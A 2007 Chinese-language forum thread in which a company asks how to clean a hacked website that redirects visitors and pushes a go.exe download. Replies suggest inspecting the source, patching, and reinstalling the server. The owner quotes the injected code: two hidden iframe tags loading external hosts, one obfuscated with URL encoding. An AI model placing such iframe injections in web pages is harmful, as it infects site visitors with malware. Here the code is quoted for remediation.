shung0116
2007-07-22, 03:38 PM
請教各位前輩,我們公司網頁被值入木馬程式,只要開啟公司網頁都會自動導向大陸網頁(如www.fengduw.com),或者出現下載頁面(要user下載go.exe執行檔),這種病毒要如何來解除呢?
(我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除)
煩請各位前輩指點
謝謝
贊助商連結
(我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除)
煩請各位前輩指點
謝謝
贊助商連結
贊助商連結 shung0116 2007-07-22, 03:38 PM 請教各位前輩,我們公司網頁被值入木馬程式,只要開啟公司網頁都會自動導向大陸網頁(如www.fengduw.com),或者出現下載頁面(要user下載go.exe執行檔),這種病毒要如何來解除呢? (我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除) 煩請各位前輩指點 謝謝 贊助商連結 ㄚ一 2007-07-22, 03:55 PM 請檢查網頁原碼被加了些什麼料 yuhsheng 2007-07-22, 08:22 PM 網站首頁index.htm前幾行被加料了,約200處也有,約400行處也有. 網站主機應該有漏洞. shung0116 2007-07-22, 10:42 PM 不過現在的問題點是,手動改完網頁後,過沒幾天又會在發作,或者發生在別的網頁,但是我使用MCFee卻偵測不到病毒,是否有辦法可以完全根除呢? 症狀如下: 1.開啟網頁會要求下載go.exe檔案 2.在網頁原始檔最後面會被嵌入下列的語法 <IfrAmE src=http://dhz.810810.org width=0 height=0></IfrAmE> <IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE> 3.開啟網頁會導向http://www.fengduw.com大陸網址 煩請前輩指點 謝謝 rogershu 2007-07-23, 01:37 AM 伺服器的漏洞有修補了嗎? yuhsheng 2007-07-23, 10:27 AM 主機不知是否已被加入什麼東西,不要信任防毒軟體,即使抓得到,也未必能移除. 建議還是把主機重裝吧!上所有的Patch,並檢查主機開放的權限. |
|